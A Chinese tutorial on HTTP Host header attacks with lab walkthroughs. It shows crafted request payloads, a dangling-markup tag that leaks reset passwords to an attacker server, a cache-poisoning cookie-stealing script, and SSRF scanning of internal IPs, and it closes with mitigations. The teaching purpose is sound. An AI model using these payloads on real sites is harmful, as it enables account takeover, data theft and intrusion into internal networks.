詳解 HTTP Host 頭攻擊

1. HTTP Host 頭攻擊

從 HTTP / 1.1 開始，HTTP Host 標頭是必需的請求標頭。它指定客戶端要訪問的域名。例如，當用戶訪問 https://example.net/web-security 時，其瀏覽器將組成一個包含 Host 標頭的請求，如下所示：

GET /web-security HTTP/1.1
Host: example.net

在某些情況下，例如當請求由代理轉發時，Host 值可能會在到達預期的後端組件之前進行更改。也就發生了 Host 頭攻擊。

2. HTTP Host 頭的作用

HTTP Host 頭的目的是幫助識別客戶端要與之通信的後端組件。如果請求不包含 Host 頭或者格式不正確，則在將傳入請求的應用程序時可能會導致問題。

從歷史上看，這種漏洞並不存在太大問題，因爲每個 IP 地址只會被用於單個域的內容。如今，很大程度上是由於同一個 IP 上存在多個 Web 應用程序（不同端口，不同域名解析等），通常可以在同一 IP 地址訪問多個網站和應用程序。這種方法的普及也部分是由於 IPv4 地址耗盡所致。

當可以通過同一 IP 地址訪問多個應用程序時，最常見的原因是以下情況之一：

虛擬主機

單個 Web 服務器託管多個網站或應用程序。這可能是具有單個所有者的多個網站，但是也可能是不同所有者的網站託管在同一個共享平臺上。它們都與服務器共享一個公共 IP 地址。

通過代理路由流量

網站託管在不同的後端服務器上，但是客戶端和服務器之間的所有流量都通過代理系統進行路由。這可能是一個簡單的負載平衡設備或某種反向代理服務器。在客戶通過內容分發網絡（CDN）訪問網站的情況下，這種設置尤其普遍。

在上面兩種種情況下，即使網站託管在單獨的後端服務器上，它們的所有域名也都解析爲中間組件的單個 IP 地址。這帶來了與虛擬主機相同的問題，因爲反向代理或負載平衡需要知道每個請求到的哪個後端上。

HTTP Host 頭的作用就在於，指定請求應該發送到那個應用程序的後端服務器上。打個比方，一封信需要送到居住在公寓樓中的某人手中，整個公寓有許多房間，每個房間都可以接受信件，通過指定房間號和收件人（也就是 HTTP Host 頭）來將信封送到指定的人手中。

3. 什麼是 HTTP Host 頭攻擊

一些網站以不安全的方式處理 Host 頭的值。如果服務器直接信任 Host 頭，未校驗它的合法性，則攻擊者可能能夠使用此可控變量來注入 Host，以操縱服務器端的行爲。

現成的 Web 應用程序通常不知道將它們部署在哪個域上，除非在安裝過程中在配置文件中手動指定了該域。例如，當他們需要知道當前域以生成電子郵件中包含的絕對 URL 時，他們可能依賴於 Host 頭中的值：

<a href="https://_SERVER['HOST']/support">聯繫支持</a>

Host 頭值還可以用於不同網站系統之間的各種交互。

由於 Host 頭實際上是用戶可控制的，因此這種做法可能導致許多問題。如果未校驗或者直接使用 Host 頭，則 Host 頭可以與一系列其他漏洞 “組合拳” 攻擊，比如：

4. 如何發掘 HTTP Host 頭攻擊

首先要判斷服務端是否檢測 Host 頭？檢測完了是否還使用 Host 頭的值？

通過修改 Host 的值，如果服務端返回錯誤信息：

則說明服務端檢測了 Host 的內容。至於有沒有使用 Host 頭的值，有以下幾種方法去發掘：

修改 Host 值

簡單的來說，可以修改 HTTP 頭中的 Host 值，如果觀察到響應包中含有修改後的值，說明存在漏洞。

但有時候篡改 Host 頭的值會導致無法訪問 Web 應用程序，從而導致 “無效主機頭” 的錯誤信息，特別是通過 CDN 訪問目標時會發生這種情況。

添加重複的 Host 頭

添加重複的 Host 頭，通常兩個 Host 頭之中有一個是有效的，可以理解爲一個是確保請求正確地發送到目標服務器上；另一個則是傳遞 payload 到後端服務器中。

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff

使用絕對路徑的 URL

儘管許多請求通常在請求域上使用相對路徑，但是也同時配置了絕對 URL 的請求。

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff

有時候也可以嘗試不同的協議，如 HTTP 或 HTTPS。

添加縮進或換行

當一些站點 block 帶有多個 Host 頭的請求時，可以通過添加縮進字符的 HTTP 頭來繞過：

GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

注入覆蓋 Host 頭的字段

與 Host 頭功能相近的字段，如 X-Forwarded-Host、X-Forwarded-For 等，這些有時候是默認開啓的。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff

諸如此類，還有其他的字段：

忽略端口僅校驗域名

當修改、添加重複 Host 頭被攔截的時候，可以嘗試瞭解 Web 應用程序是怎樣解析 Host 頭的。

比如，一些解析算法會忽略 Host 頭中的端口值，僅僅校驗域名。這時候可以將 Host 修改爲如下形式：

GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff

保持域名不變，修改端口值爲非端口號的其他值（非數字）， 將 Host 頭攻擊的 payload 放在端口值處，同樣能進行 Host 頭攻擊。

5. HTTP Host 頭攻擊漏洞示例

5.1 密碼重置中毒

根據 HTTP Host 頭攻擊的攻擊特點，它被廣泛應用於密碼重置中毒：攻擊者可以操縱網站在重置密碼情況下生成的密碼重置鏈接，使其發送攻擊者指定的域下，利用此來竊取重置任意用戶密碼的令牌。

一個重設密碼（忘記密碼）功能的大致流程如下：

https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

以上步驟的安全性依賴於：只有目標用戶才能訪問其電子郵件，從而可以訪問其唯一的令牌。

密碼重置中毒是竊取此令牌以更改另一個用戶密碼的一種漏洞。

如果網站重置密碼的流程完全依賴用戶的可控輸入（如 HTTP Host 頭），這可能導致密碼重置中毒：

https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

5.1.1 密碼重置中毒—基礎

詳細瞭解了上面的密碼重置中毒的流程和原理之後，這裏通過 HTTP Host 頭攻擊導致的基礎的密碼重置中毒來演示。

首先輸入用戶名或者用戶的電子郵箱來重置指定用戶的密碼：

提交之後，會發送一封重置密碼的電子郵件到 wiener 用戶的郵箱中（數據包如右圖）：

注意重置密碼的鏈接，可能是受 Host 頭的值的影響？

我們來驗證一下是否存在 HTTP Host 頭攻擊，修改 Host 頭的值爲 baidu.com：

發現請求是可以被後端服務器接收的，所以是存在 HTTP Host 頭攻擊的。

這裏就輸入受害用戶 carlos 進行重置密碼，然後抓包將 Host 頭的值改爲我們自己的服務器：

隨即進入輸入新密碼的界面，密碼重置中毒成功。

5.1.2 密碼重置中毒—注入覆蓋 Host 頭的字段

有時候直接修改 Host 頭、添加重複 Host 頭的值以及混淆 Host 頭都不行：

可以嘗試使用與 Host 頭功能相同的 HTTP 字段，如 X-Forwarded-Host、X-Forwarded-For 等，可以進行 Fuzz：

實際上他能夠被 X-Forwarded-Host 字段影響，導致 Host 頭攻擊，當同時添加多個字段使請求被攔截時，可以嘗試類似排除法、二分法來排查哪個字段有效。

對受害用戶 carlos 進行密碼重置投毒：

然後構造鏈接即可：

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

5.1.3 重置密碼中毒—Dangling Markup 技術

首先簡單介紹一下 Dangling Markup 技術：

Dangling markup 技術

Dangling markup 技術, 是一種無需腳本即可竊取頁面內容的技術，它使用圖像等資源 (結合 CSP 運行的策略) 將數據發送到攻擊者控制的遠程位置。當反射型 XSS 不工作或被內容安全策略（CSP）阻止時，它非常有用。其思想是插入一些未完成狀態的部分 HTML，例如圖像標記的 src 屬性，頁面上的其餘標記關閉該屬性，但同時將兩者之間的數據 (包含竊取頁面的內容) 發送到遠程服務器。

例如，我們在反射型 XSS 注入點上注入這樣一個 img 標籤：

<img src="https://evilserver/?

則注入點和下一個雙引號的代碼將會發送到攻擊者的 https://evilserver 服務器, 其中被髮送的代碼或者內容可能包含一些敏感信息, 例如 CSRF Token 等, 配合反射型 XSS 以完成 CSRF 的利用。

關於 Dangling Markup 技術 的實戰意義可以參考博主之前的文章：繞過 CSP 之 Dangling markup 技術

(https://blog.csdn.net/angry_program/article/details/106441323)

什麼時候可以使用 Dangling Markup 技術 呢？與我們這篇文章的主題有什麼關係呢？

我們直接進入主題，當輸入需要重置密碼的用戶名後，該用戶的郵箱內會收到如下郵箱：

有一個跳轉到登錄界面的鏈接，後面緊接着重置之後的隨機密碼。

此時考慮一下，該鏈接是否是從 Host 頭取值而來？只要這個值可控，那麼就可以利用 Host 頭攻擊實施 Dangling Markup 攻擊，包含住鏈接後面緊跟着的密碼，再結合 Host 頭攻擊將請求指定到攻擊者服務器上。一個漫天過海的竊取行爲就完成了。

第一步，尋找 Host 頭攻擊點：

通過 Fuzz，可發現 Host 頭攻擊類型爲 忽略端口僅校驗域名。即服務端在校驗 Host 域的時候，僅校驗了域名，忽略了後面的端口號，造成端口值可控（可以是數字或字符）：

通過在 Host 頭的端口中注入 payload，依舊可以實現 Host 頭攻擊。

第二步，藉助可控變量 Host：ip:port 來實施 Dangling Markup 技術，從而將後面的密碼外帶到攻擊者服務器上：

注意，需要閉合此處的雙引號出去，經過嘗試，輸入單引號時，服務端會自動轉爲雙引號，故這裏通過單引號將雙引號閉合，然後添加自定的<a href=xxx.attack-domain>標籤將密碼外帶：

原本的正常 HTML 是這樣的：

通過  Dangling Markup 技術 在<a>標籤的鏈接中注入? 符，使得後面的值在雙引號閉合之前全部被當做 URL 參數請求到攻擊者服務器上：

這也是 Dangling Markup 技術 的精髓所在，該技術的核心點在於：

可控變量後面是否接着需要竊取的關鍵數據（包括 Token、密碼等）

在攻擊者服務器上可以看到被 Host 頭攻擊轉發上來的請求，裏面成功竊取了受害者重置後的密碼：

5.2 Host 頭攻擊 + 緩存投毒

當存在 Host 頭攻擊的 web 站點不存在密碼重置的功能的時候，此時該漏洞就顯得沒有影響，因爲不可能驅使用戶去抓包修改 Host 頭，輔助攻擊者完成一系列的攻擊。

但是，如果目標站點使用 Web 緩存，則可以通過緩存投毒給其他用戶提供帶有病毒的緩存響應。此時的 Host 頭攻擊漏洞轉變爲類似 XSS 存儲型類的漏洞。要構造 Web 緩存投毒攻擊：

第一步，尋找 Host 頭攻擊點：

通過對站點的主頁添加重複的 Host 值，可以達到覆蓋的效果，並驗證存在 Host 頭攻擊：

第二步，尋找是否使用了 Web 緩存？緩存鍵是什麼？

從上圖中也可以發現，站點使用了 Wen 緩存功能，並且配合 Host 頭攻擊，可以緩存 /resources/js/tracking.js 資源文件。

第三步，在攻擊者服務器上創建一個同名的 /resources/js/tracking.js 資源文件，內容爲：

alert(document.cookie);

然後通過 Host 頭注入攻擊者服務器域名，可以看到在響應中正確地對應了我們的 /resources/js/tracking.js 資源文件：

發送多次請求，使該請求的響應變爲緩存：

當其他用戶請求站點主頁時，服務端就會提供該惡意緩存給用戶，造成緩存投毒。

5.3 Host 頭攻擊繞過訪問控制

出於安全考慮，通常網站對某些功能的訪問限制爲內部用戶使用。但是通過 Host 頭攻擊一定可能上可以繞過這些限制。

對於一個站點，從發現 Host 頭攻擊到利用，下面來展示一個完整的流程：

第一步，訪問主頁，隨意修改 Host 的值：

注意，這裏的 Host 的值不會出現響應包中，但是依然可能存在 Host 頭攻擊，因爲響應依然成功，說明服務端沒有對 Host 頭做驗證。

第二步，尋找敏感頁面，通過 /robots.txt 知道 /admin 爲做了訪問控制的頁面：

可以錯誤信息提示，/admin 頁面只允許本地用戶訪問。

第三步，將 Host 改爲服務端內部地址，從而繞過 IP 訪問控制：

5.4 Host 頭攻擊 + SSRF

Host 頭攻擊可能會導致基於路由的 SSRF 攻擊，稱爲：Host SSRF Attack。

經典的 SSRF 攻擊通常基於 XXE 或可利用的業務邏輯，將用戶可控的 URL 作爲 HTTP 請求發送；而基於路由的 SSRF 依賴於雲部署的體系結構中，包括負載均衡和反向代理，這些中間件將請求分配發送到對應的後端服務器處理，如果服務端未校驗 Host 頭轉發的請求，則攻擊者可能會將請求發送（重定向）到體系中的任意系統。

這可能需要知道內部系統的 IP 地址（私有地址），一般可以通過信息收集或者 Fuzz 來判斷有效的私有 IP 地址（如枚舉 192.168.1.1/16）。

5.4.1 基礎 Host 頭攻擊 + SSRF

比如，普通方式訪問不到 /admin 頁面（404）：

猜測 /admin 存在於內網中，需要內網機器才能訪問，但是配合 Host 頭攻擊 + SSRF 可以繞過並訪問。

第一步，判斷 Host 是否被使用，可用 DNSLog 外帶

這裏我使用 Burp 自帶的 “Burp Collaborator client”  來實現外帶：

說明服務端是根據 Host 頭的域名來請求資源的。

第二步，基於 Host 頭的 SSRF 探測內網主機

假如一些敏感的頁面（比如管理頁面），深處於內網，外網無法訪問，但是通過 Host 頭攻擊 + SSRF 可達到繞過訪問控制，從而訪問內網資產，這裏 Fuzz 內網的 IP 的 C 段爲 192.168.0.0/24，直接利用 Intruder 枚舉：

得到內網 IP 爲 192.168.0.240

第三步，訪問內網資源

構造 /admin 頁面，在 Host 處換位內網 IP：

5.4.2 Host 頭攻擊 + SSRF—使用絕對路徑的 URL

有時候服務端會校驗 Host 頭的值，如果 Host 被修改，服務端會拒絕一切修改過後的請求：

普通請求通常在請求域上使用相對路徑，但是，服務端也同時可能配置了絕對 URL 的請求，採用如下形式可繞過對 Host 的驗證：

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

接着用 “Burp Collaborator client” 進行外帶：

外帶成功，說明 Host 頭被服務端使用來向指定域名請求資源，直接 SSRF 爆破內網：

訪問內網頁面：

6. HTTP Host 頭攻擊防護

最簡單的方法是避免在服務器端代碼中完全使用 Host 頭，可以只使用相對 URL。

其他方法包括：

6.1 正確配置絕對域名 URL

當必須使用絕對域名 URL 時，應在配置文件中手動指定當前域的 URL，並引用配置的值，而不是從 HTTP 的 Host 頭中獲取。這種方法可防止密碼重置的緩存投毒。

6.2 白名單校驗 Host 頭的域

如果必須使用 Host 頭，需要正確校驗它的合法性。這包括允許的域，並使用白名單校驗它，以及拒絕或重定向對無法識別的主機請求。這包括但不僅限於單個 web 應用程序、負載均衡以及反向代理設備上。

6.3 不支持主機頭覆蓋

確保不適用與 Host 頭功能相近的字段，如 X-Forwarded-Host、X-Forwarded-For 等，這些有時候是默認開啓的。

值得一提的是，不應該將內網使用的 Host 主機（不出網）與公網的應用程序託管在同一個服務器上，否則攻擊者可能會操縱 Host 頭來訪問內部域。

作者：angry_program

來源：blog.csdn.net/angry_program/article/details/109034421

本文由 Readfog 進行 AMP 轉碼，版權歸原作者所有。
來源：https://mp.weixin.qq.com/s/y4nYDAhv4mamO1hpmesfiw

猜你喜歡